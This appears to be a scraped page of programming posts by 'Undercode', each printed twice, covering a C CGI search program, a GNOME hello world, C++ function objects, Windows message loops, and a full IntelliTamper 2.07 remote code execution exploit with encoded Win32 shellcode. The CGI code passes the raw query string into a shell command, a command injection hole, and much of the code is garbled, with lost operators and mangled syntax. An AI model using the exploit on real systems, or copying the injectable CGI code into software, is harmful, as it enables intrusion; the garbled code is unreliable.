β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Programming Techniques-Self-made c language compiled cgi to achieve search C language to achieve self-compiled cgi search
π¦ ππΌππ πππΈβπ :
1) Environmental
/ usr / local / apache / htdocs / ( to be retrieved files Under this directory)
/ usr / local / apache / temp / (as a transit folder)
/ usr / local / apache / cgi-bin /
2) Place the a.out generated by gcc search.c in / usr / local / In apache / cgi-bin /, the permission is set to nobody
to execute.
3) chown -R nobody.nobody / usr / local / apache / temp
4) Add a file deletetemp permission in /etc/cron.daily to 555
rm -f / usr / local / apache / temp / *
5) In / Add a file myetc permission in etc / cron.hourly to 555
updatedb -U / usr / local / apache / htdocs
6) Delete the
appendix (a total of 2) of a file locate.cron in /etc/cron.daily :
a) index .htm source
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<p>...</p>
<form name="form1" action="http://129.158.217.223/cgi-bin/a.out">
<p> </p>
<p>
<input name="keyname" value="" type=text>
</p>
<p>
<input type="submit" value="...">
</p>
</form>
<p> </p>
</body>
</html>
2. search.com
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
int main(int argc, char* argv[])
{
int fd;
int status;
time_t i;
char cFileName[64];
char cTempName[64];
char cBuffer[1024];
char *p = cBuffer;
char cContent[10240];
char *data;
char keyword[1024];
data = getenv("QUERY_STRING");
if(data==NULL)
{
printf("Content-Type:text/html ");
printf("not found!");
exit(1);
}
sscanf(data, "keyname=%s&", keyword);
p += sprintf(p, "locate '%s' | sed -e 's#^/usr/local/apache/htdocs#http://129.158.217.223#' | sed -e 's#^.*$#<a href=&>&</a>
#' > ", keyword);
i = time(NULL);
sprintf(cTempName, "%d.html", i);
sprintf(cFileName, "/usr/local/apache/temp/%d.html", i);
strcat(cBuffer, cFileName);
cBuffer[1024-1]=0;
system(cBuffer);
fd = open(cFileName, O_RDWR);
status = read(fd, cContent, sizeof(cContent)-1);
close(fd);
printf("Content-Type:text/html ");
printf("<meta http-equiv=refresh content=0;url="http://129.158.217.223/temp/%s"> ", cTempName);
printf("Waiting....................... ");
printf("%s", keyword);
return 0;
}
Written by uNDERCoDE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Programming Techniques-Self-made c language compiled cgi to achieve search C language to achieve self-compiled cgi search
π¦ ππΌππ πππΈβπ :
1) Environmental
/ usr / local / apache / htdocs / ( to be retrieved files Under this directory)
/ usr / local / apache / temp / (as a transit folder)
/ usr / local / apache / cgi-bin /
2) Place the a.out generated by gcc search.c in / usr / local / In apache / cgi-bin /, the permission is set to nobody
to execute.
3) chown -R nobody.nobody / usr / local / apache / temp
4) Add a file deletetemp permission in /etc/cron.daily to 555
rm -f / usr / local / apache / temp / *
5) In / Add a file myetc permission in etc / cron.hourly to 555
updatedb -U / usr / local / apache / htdocs
6) Delete the
appendix (a total of 2) of a file locate.cron in /etc/cron.daily :
a) index .htm source
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<p>...</p>
<form name="form1" action="http://129.158.217.223/cgi-bin/a.out">
<p> </p>
<p>
<input name="keyname" value="" type=text>
</p>
<p>
<input type="submit" value="...">
</p>
</form>
<p> </p>
</body>
</html>
2. search.com
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
int main(int argc, char* argv[])
{
int fd;
int status;
time_t i;
char cFileName[64];
char cTempName[64];
char cBuffer[1024];
char *p = cBuffer;
char cContent[10240];
char *data;
char keyword[1024];
data = getenv("QUERY_STRING");
if(data==NULL)
{
printf("Content-Type:text/html ");
printf("not found!");
exit(1);
}
sscanf(data, "keyname=%s&", keyword);
p += sprintf(p, "locate '%s' | sed -e 's#^/usr/local/apache/htdocs#http://129.158.217.223#' | sed -e 's#^.*$#<a href=&>&</a>
#' > ", keyword);
i = time(NULL);
sprintf(cTempName, "%d.html", i);
sprintf(cFileName, "/usr/local/apache/temp/%d.html", i);
strcat(cBuffer, cFileName);
cBuffer[1024-1]=0;
system(cBuffer);
fd = open(cFileName, O_RDWR);
status = read(fd, cContent, sizeof(cContent)-1);
close(fd);
printf("Content-Type:text/html ");
printf("<meta http-equiv=refresh content=0;url="http://129.158.217.223/temp/%s"> ", cTempName);
printf("Waiting....................... ");
printf("%s", keyword);
return 0;
}
Written by uNDERCoDE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Leverage GNOME Libraries to make writing applications easier
http://pinterest.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ :
> This application has a menu menu and a detachable sub-menu, as well as a status bar that displays menu prompts, and automatically stores user-defined accelerator keys (hot keys). There is a standard "" About "" box In addition, all menu standard items have the ability to automatically switch languages ββ(try "" LANG = zh_TW.Big5 ./hello_world "", you will see a menu of Chinese characters).
/ * Hello World (Gnome Edition)
* Listing 1
* This code is public domain, so use it as you please.
* libraries that gnome needs, such as gtk, imlib, etc ...*/
#include
/* this is usually defined by autoconf but were just using simple makefiles */
#define VERSION ""1.0""
/* ""callback"" function (signal handler) which will quit the application*/
static void
exit_hello(GtkWidget *widget, gpointer data)
{
gtk_main_quit ();
}
/* callback function for when the window closes */
static int
delete_event(GtkWidget *widget, gpointer data)
{
gtk_main_quit ();
return FALSE; /* false means continue with closing the window */
}
/* a callback for the about menu item, it will display a simple ""About""
* dialog box standard to all gnome applications
*/
void
about_hello(GtkWidget *widget, gpointer data)
{
GtkWidget *box;
const char *authors[] = {
""James Bond"",
NULL
};
box = gnome_about_new(/*title: */ ""Hello World (Gnome Edition)"",
/*version: */VERSION,
/*copyright: */ ""(C) 1999 Secret Agents Inc."",
/*authors: */authors,
/*other comments: */
""An extremely complicated application which ""
""does absolutely nothing useful"",
NULL);
gtk_widget_show(box);
}
/* define the menus here */
static GnomeUIInfo file_menu [] = {
/* some item which is not one of the standard ones, the null
* would be the callback, however we dont want to really do anything */
GNOMEUIINFO_ITEM_NONE(""Something"",""Just an item which does nothing"",NULL),
/* standard exit item */
GNOMEUIINFO_MENU_EXIT_ITEM(exit_hello,NULL),
GNOMEUIINFO_END
};
static GnomeUIInfo help_menu [] = {
/* load the helpfiles for this application if available */
GNOMEUIINFO_HELP(""hello_world""),
/* the standard about item */
GNOMEUIINFO_MENU_ABOUT_ITEM(about_hello,NULL),
GNOMEUIINFO_END
};
/* define the main menubar */
static GnomeUIInfo main_menu [] = {
GNOMEUIINFO_MENU_FILE_TREE(file_menu),
GNOMEUIINFO_MENU_HELP_TREE(help_menu),
GNOMEUIINFO_END
};
π¦then /* Our main function */
int
main(int argc, char *argv[])
{
GtkWidget *app; /* pointer to our main window */
GtkWidget *w; /* pointer to some widget */
/* initialize gnome */
......
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Leverage GNOME Libraries to make writing applications easier
http://pinterest.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ :
> This application has a menu menu and a detachable sub-menu, as well as a status bar that displays menu prompts, and automatically stores user-defined accelerator keys (hot keys). There is a standard "" About "" box In addition, all menu standard items have the ability to automatically switch languages ββ(try "" LANG = zh_TW.Big5 ./hello_world "", you will see a menu of Chinese characters).
/ * Hello World (Gnome Edition)
* Listing 1
* This code is public domain, so use it as you please.
* libraries that gnome needs, such as gtk, imlib, etc ...*/
#include
/* this is usually defined by autoconf but were just using simple makefiles */
#define VERSION ""1.0""
/* ""callback"" function (signal handler) which will quit the application*/
static void
exit_hello(GtkWidget *widget, gpointer data)
{
gtk_main_quit ();
}
/* callback function for when the window closes */
static int
delete_event(GtkWidget *widget, gpointer data)
{
gtk_main_quit ();
return FALSE; /* false means continue with closing the window */
}
/* a callback for the about menu item, it will display a simple ""About""
* dialog box standard to all gnome applications
*/
void
about_hello(GtkWidget *widget, gpointer data)
{
GtkWidget *box;
const char *authors[] = {
""James Bond"",
NULL
};
box = gnome_about_new(/*title: */ ""Hello World (Gnome Edition)"",
/*version: */VERSION,
/*copyright: */ ""(C) 1999 Secret Agents Inc."",
/*authors: */authors,
/*other comments: */
""An extremely complicated application which ""
""does absolutely nothing useful"",
NULL);
gtk_widget_show(box);
}
/* define the menus here */
static GnomeUIInfo file_menu [] = {
/* some item which is not one of the standard ones, the null
* would be the callback, however we dont want to really do anything */
GNOMEUIINFO_ITEM_NONE(""Something"",""Just an item which does nothing"",NULL),
/* standard exit item */
GNOMEUIINFO_MENU_EXIT_ITEM(exit_hello,NULL),
GNOMEUIINFO_END
};
static GnomeUIInfo help_menu [] = {
/* load the helpfiles for this application if available */
GNOMEUIINFO_HELP(""hello_world""),
/* the standard about item */
GNOMEUIINFO_MENU_ABOUT_ITEM(about_hello,NULL),
GNOMEUIINFO_END
};
/* define the main menubar */
static GnomeUIInfo main_menu [] = {
GNOMEUIINFO_MENU_FILE_TREE(file_menu),
GNOMEUIINFO_MENU_HELP_TREE(help_menu),
GNOMEUIINFO_END
};
π¦then /* Our main function */
int
main(int argc, char *argv[])
{
GtkWidget *app; /* pointer to our main window */
GtkWidget *w; /* pointer to some widget */
/* initialize gnome */
......
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Programming Techniques-Defining Function Objects full by UndercOde :
fb.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
Although function pointers are widely used to implement function callbacks, C ++ also provides an important implementation of callback functions Method, that's the function object. Function objects (also called "operators") are ordinary class objects that override the "()" operator. So syntactically, function objects behave similarly to ordinary functions.
π¦ There are several advantages to using function objects instead of function pointers.
1) First, because objects can be modified internally without changing external interfaces, the design is more flexible and flexible.
2) Function objects also have data members that store the results of previous calls. When using ordinary functions, the results of previous calls need to be stored in global or local static variables, but global or local static variables have certain defects that we do not want to see.
Second, the compiler can implement inline calls in function objects, which further enhances performance.
3) This is almost impossible to achieve in function pointers.
The following example illustrates how to define and use function objects. First, declare a normal class and overload the "()" operator:
class Negate
{
public:
int operator () (int n) {return -n;}
}; In the
4) overloaded operation statement, remember the first circle Brackets are always empty because they represent overloaded operator names; the second parenthesis is a parameter list. Generally, when overloading an operator, the number of parameters is fixed, but when overloading the "()" operator, it is different. It can have any number of parameters.
Because the built-in operation in Negate is unary (only one operand), the overloaded "()" operator also has only one parameter. The return type is the same as the parameter type-in ββthis case, int. The function returns an integer with the opposite sign as the argument.
π¦ Using Function Objects
We now define a function called Callback () to test the function object. Callback () takes two parameters: one for int and one for a reference to the class Negate. Callback () treats the function object neg as a normal function name:
#include <iostream>
using std :: cout;
void Callback (int n, Negate & neg)
{
int val = neg (n); // Call the overloaded Operator "()"
cout << val;
} In
unnecessary code, note that neg is an object, not a function. The compiler translates the statement
int val = neg (n);
into
int val = neg.operator () (n);
Generally, function objects do not define constructors and destructors. Therefore, no problems occur during the creation and destruction process. As mentioned earlier, the compiler can inline overloaded operator code, so it avoids runtime problems related to function calls.
In order to complete the above example, we use the main function main () to implement the parameters of Callback ():
int main ()
{
Callback (5, Negate ()); // output-5
}
This example passes the integer 5 and a temporary Negate The object goes to Callback (), and the program outputs -5.
Template function object
As can be seen from the above example, its data type is limited to int, and universality is one of the advantages of function objects. How to create a function object with universality? The method is to use a template, i.e. the overloaded operator "()" is defined as a template class members, so that the function is suitable for any type of data objects: The double, _int64 or char:
class GenericNegate
{
public:
Template <class T> T operator () (T T) -t const {return;}
};
int main ()
{
GenericNegate o negate;
COUT << o negate (5.3333); // Double
COUT << o negate (10000000000i64); // the __int64
}
If ordinary It is quite difficult to implement the above flexibility with a callback function.
Function Objects in the
π¦ Programming Techniques-Defining Function Objects full by UndercOde :
fb.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
Although function pointers are widely used to implement function callbacks, C ++ also provides an important implementation of callback functions Method, that's the function object. Function objects (also called "operators") are ordinary class objects that override the "()" operator. So syntactically, function objects behave similarly to ordinary functions.
π¦ There are several advantages to using function objects instead of function pointers.
1) First, because objects can be modified internally without changing external interfaces, the design is more flexible and flexible.
2) Function objects also have data members that store the results of previous calls. When using ordinary functions, the results of previous calls need to be stored in global or local static variables, but global or local static variables have certain defects that we do not want to see.
Second, the compiler can implement inline calls in function objects, which further enhances performance.
3) This is almost impossible to achieve in function pointers.
The following example illustrates how to define and use function objects. First, declare a normal class and overload the "()" operator:
class Negate
{
public:
int operator () (int n) {return -n;}
}; In the
4) overloaded operation statement, remember the first circle Brackets are always empty because they represent overloaded operator names; the second parenthesis is a parameter list. Generally, when overloading an operator, the number of parameters is fixed, but when overloading the "()" operator, it is different. It can have any number of parameters.
Because the built-in operation in Negate is unary (only one operand), the overloaded "()" operator also has only one parameter. The return type is the same as the parameter type-in ββthis case, int. The function returns an integer with the opposite sign as the argument.
π¦ Using Function Objects
We now define a function called Callback () to test the function object. Callback () takes two parameters: one for int and one for a reference to the class Negate. Callback () treats the function object neg as a normal function name:
#include <iostream>
using std :: cout;
void Callback (int n, Negate & neg)
{
int val = neg (n); // Call the overloaded Operator "()"
cout << val;
} In
unnecessary code, note that neg is an object, not a function. The compiler translates the statement
int val = neg (n);
into
int val = neg.operator () (n);
Generally, function objects do not define constructors and destructors. Therefore, no problems occur during the creation and destruction process. As mentioned earlier, the compiler can inline overloaded operator code, so it avoids runtime problems related to function calls.
In order to complete the above example, we use the main function main () to implement the parameters of Callback ():
int main ()
{
Callback (5, Negate ()); // output-5
}
This example passes the integer 5 and a temporary Negate The object goes to Callback (), and the program outputs -5.
Template function object
As can be seen from the above example, its data type is limited to int, and universality is one of the advantages of function objects. How to create a function object with universality? The method is to use a template, i.e. the overloaded operator "()" is defined as a template class members, so that the function is suitable for any type of data objects: The double, _int64 or char:
class GenericNegate
{
public:
Template <class T> T operator () (T T) -t const {return;}
};
int main ()
{
GenericNegate o negate;
COUT << o negate (5.3333); // Double
COUT << o negate (10000000000i64); // the __int64
}
If ordinary It is quite difficult to implement the above flexibility with a callback function.
Function Objects in the
Standard Library The C ++ Standard Library defines several useful function objects that can be put into STL algorithms. For example, the sort () algorithm takes a
predicate object as its third parameter. The judgment object is a
templated function object that returns a Boolean result . You can pass greater <> or less <> to sort () to force ascending or descending sort order:
#include <functional> // for greater <> and less <>
#include <algorithm>
#include <vector>
using namespace std;
int main ()
{
vector <int> vi;
// .. fill the vector
sort (vi.begin (), vi.end (), greater <int> ()); // Descending (descending)
sort (vi.begin (), vi.end (), less <int> ()); // ascending (ascending)
}
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
predicate object as its third parameter. The judgment object is a
templated function object that returns a Boolean result . You can pass greater <> or less <> to sort () to force ascending or descending sort order:
#include <functional> // for greater <> and less <>
#include <algorithm>
#include <vector>
using namespace std;
int main ()
{
vector <int> vi;
// .. fill the vector
sort (vi.begin (), vi.end (), greater <int> ()); // Descending (descending)
sort (vi.begin (), vi.end (), less <int> ()); // ascending (ascending)
}
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ 2020 deadly cve IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
twitter.com/UndercodeNews
π¦ ππΌππ πππΈβπ :
IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit.
Based on exploit by Koshi (written in Perl). This one should be more
stable. Just for fun and to learn more about win32 exploitation.
by Wojciech Pawlikowski (wojtekp@gmail.com)
/
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 1550
#define NOP 0x90
#define RETADDR 0x7c941EED // jmp esp ntdll.dll
/* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */
unsigned char shellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69"
"\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e"
"\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45"
"\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34"
"\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e"
"\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a"
"\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b"
"\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36"
"\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77"
"\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a"
"\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49"
"\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37"
"\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f"
"\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63"
"\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69"
"\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33"
"\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30"
"\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42";
int
main(void)
{
struct sockaddr_in serv_sin, cli_sin;
int i, sockfd, cli_sock, sock_opt = 1, sin_len;
char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE 100] = { 0 };
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sockfd < 0)
{
perror("socket()");
exit(-1);
}
serv_sin.sin_family = AF_INET;
serv_sin.sin_port = htons(80);
serv_sin.sin_addr.s_addr = INADDR_ANY;
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0)
{
perror("setsockopt()");
close(sockfd);
exit(-1);
}
if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0)
{
perror("bind()");
close(sockfd);
exit(-1);
}
listen(sockfd, 1);
sin_len = sizeof(struct sockaddr);
printf("[*] Waiting for a connection...\n");
while (1)
{
cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len);
if (cli_sock < 0)
{
perror("accept()");
exit(-1);
}
printf("[ ] Connection from %s:%d\n", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));
read(cli_sock, buf, sizeof(buf) - 1);
overflow = (char *)malloc(BUFSIZE 1);
for (i = 0; i <= 1540; i = 4)
*(long *)&overflow[i] = RETADDR;
for (i = 0; i < 1536; i )
overflow[i] = NOP;
memcpy(overflow 550, shellcode, strlen(shellcode));
memcpy(overflow i 4, "\xe9\x14\xfc\xff\xff", 5); // jmp -1000 - jump to our buffer
i = sprintf(req, "200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: ");
memcpy(req i, overflow, strlen(overflow));
memcpy(req i strlen(overflow), "\r\n\r\n", 4);
write(cli_sock, req, strlen(req));
printf("[ ] Exploit sent!\n");
close(cli_sock);
}
close(sockfd);
}
Written by UnderCode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ 2020 deadly cve IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
twitter.com/UndercodeNews
π¦ ππΌππ πππΈβπ :
IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit.
Based on exploit by Koshi (written in Perl). This one should be more
stable. Just for fun and to learn more about win32 exploitation.
by Wojciech Pawlikowski (wojtekp@gmail.com)
/
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 1550
#define NOP 0x90
#define RETADDR 0x7c941EED // jmp esp ntdll.dll
/* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */
unsigned char shellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69"
"\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e"
"\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45"
"\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34"
"\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e"
"\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a"
"\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b"
"\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36"
"\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77"
"\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a"
"\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49"
"\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37"
"\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f"
"\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63"
"\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69"
"\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33"
"\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30"
"\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42";
int
main(void)
{
struct sockaddr_in serv_sin, cli_sin;
int i, sockfd, cli_sock, sock_opt = 1, sin_len;
char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE 100] = { 0 };
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sockfd < 0)
{
perror("socket()");
exit(-1);
}
serv_sin.sin_family = AF_INET;
serv_sin.sin_port = htons(80);
serv_sin.sin_addr.s_addr = INADDR_ANY;
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0)
{
perror("setsockopt()");
close(sockfd);
exit(-1);
}
if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0)
{
perror("bind()");
close(sockfd);
exit(-1);
}
listen(sockfd, 1);
sin_len = sizeof(struct sockaddr);
printf("[*] Waiting for a connection...\n");
while (1)
{
cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len);
if (cli_sock < 0)
{
perror("accept()");
exit(-1);
}
printf("[ ] Connection from %s:%d\n", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));
read(cli_sock, buf, sizeof(buf) - 1);
overflow = (char *)malloc(BUFSIZE 1);
for (i = 0; i <= 1540; i = 4)
*(long *)&overflow[i] = RETADDR;
for (i = 0; i < 1536; i )
overflow[i] = NOP;
memcpy(overflow 550, shellcode, strlen(shellcode));
memcpy(overflow i 4, "\xe9\x14\xfc\xff\xff", 5); // jmp -1000 - jump to our buffer
i = sprintf(req, "200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: ");
memcpy(req i, overflow, strlen(overflow));
memcpy(req i strlen(overflow), "\r\n\r\n", 4);
write(cli_sock, req, strlen(req));
printf("[ ] Exploit sent!\n");
close(cli_sock);
}
close(sockfd);
}
Written by UnderCode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Window, thread, superclass, subclass Full by Undercode
t.me/undercodeTesting
π¦ ππΌππ πππΈβπ :
1) Windows and messages for Windows are discussed for completeness of the narrative, and processes and threads are briefly discussed. Subclassing and Superclassing are two methods of reusing code that accompany the Windows window mechanism. Don't confuse "subclassing, superclassing" with derived and base classes in object-oriented languages. The "class" in "subclassing and superclassing" refers to the window class of Windows.
2) The system establishes a message queue for a windowed thread. A thread with a message queue can receive messages. For example, we can use the PostThreadMessage function to send messages to threads.
As long as a windowless thread calls PeekMessage or GetMessage, the system will also create a message queue for it.
π¦ Windows and messages
1) Message queue for threads
Each running program is a process. Each process has one or more threads. Some threads have no windows, and some threads have one or more windows.
We can send messages to threads, but most messages are sent to windows. Messages sent to the window are also placed in the thread's message queue. We can think of the thread's message queue as a mailbox and the window as a recipient. When we send a message to a specified window, the system will find the thread to which the window belongs, and then put the message in the thread's message queue.
Thread message queue is a data structure inside the system, we can't see this structure in the program. But we can send and deliver messages to the message queue through the Windows API; receive messages from the message queue; transform and dispatch the received messages.
2) The smallest Windows program
Windows programmers have probably seen such a minimal Windows program:
// Example 1
#include "windows.h"
static const char m_szName [] = "window";
If the main window callback function directly uses DefWindowProc, the message loop will not end when the window is closed
static LRESULT CALLBACK WindowProc (HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_DESTROY: PostQuitMessage (0); // End the message loop by sending a WM_QUIT message when the window is closed
break;
default: return DefWindowProc (hWnd, uMsg, wParam, lParam);
}
return 0;
}
main function
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WNDCLASS wc;
memset (& wc, 0, sizeof (WNDCLASS));
wc.style = CS_VREDRAW | CS_HREDRAW;
wc.lpfnWndProc = (WNDPROC) WindowProc;
wc.hCursor = LoadCursor (NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH) (COLOR_WINDOW);
wc.lpszClassName = m_szName;
RegisterClass (& wc); // Register window class
HWND hWnd;
hWnd = CreateWindow (m_szName, m_szName, WS_OVERLAPPEDWINDOW, 100,100,320,240, NULL, NULL, hInstance, NULL); // Create window
ShowWindow (hWnd, nCmdShow); // show window
MSG sMsg;
while (int ret = GetMessage (& sMsg, NULL, 0, 0))
{
// message loop
if (ret! = -1)
{
TranslateMessage (& sMsg);
DispatchMessage (& sMsg);
}
}
return 0;
}
3) Although this program only displays a window, it is often used to explain the basic structure of Windows programs. We can also find a similar program structure inside the MFC framework. This app contains the following basic concepts:
Window class, the window procedure and a window message loop
following were introduced.
4) Window Classes, Windows, and Window Procedures
When creating a window, provide the name of the window class. A window class is equivalent to a window template. We can create multiple windows based on the same window class . We can use the windows class registered in Windows in advance. But in more cases, we want to register our own window class . When registering window classes, we need to register items such as name, style, icon, cursor, menu, etc. The most important of these is the address of the window procedure.
5) The window procedure is a function.
π¦ Window, thread, superclass, subclass Full by Undercode
t.me/undercodeTesting
π¦ ππΌππ πππΈβπ :
1) Windows and messages for Windows are discussed for completeness of the narrative, and processes and threads are briefly discussed. Subclassing and Superclassing are two methods of reusing code that accompany the Windows window mechanism. Don't confuse "subclassing, superclassing" with derived and base classes in object-oriented languages. The "class" in "subclassing and superclassing" refers to the window class of Windows.
2) The system establishes a message queue for a windowed thread. A thread with a message queue can receive messages. For example, we can use the PostThreadMessage function to send messages to threads.
As long as a windowless thread calls PeekMessage or GetMessage, the system will also create a message queue for it.
π¦ Windows and messages
1) Message queue for threads
Each running program is a process. Each process has one or more threads. Some threads have no windows, and some threads have one or more windows.
We can send messages to threads, but most messages are sent to windows. Messages sent to the window are also placed in the thread's message queue. We can think of the thread's message queue as a mailbox and the window as a recipient. When we send a message to a specified window, the system will find the thread to which the window belongs, and then put the message in the thread's message queue.
Thread message queue is a data structure inside the system, we can't see this structure in the program. But we can send and deliver messages to the message queue through the Windows API; receive messages from the message queue; transform and dispatch the received messages.
2) The smallest Windows program
Windows programmers have probably seen such a minimal Windows program:
// Example 1
#include "windows.h"
static const char m_szName [] = "window";
If the main window callback function directly uses DefWindowProc, the message loop will not end when the window is closed
static LRESULT CALLBACK WindowProc (HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_DESTROY: PostQuitMessage (0); // End the message loop by sending a WM_QUIT message when the window is closed
break;
default: return DefWindowProc (hWnd, uMsg, wParam, lParam);
}
return 0;
}
main function
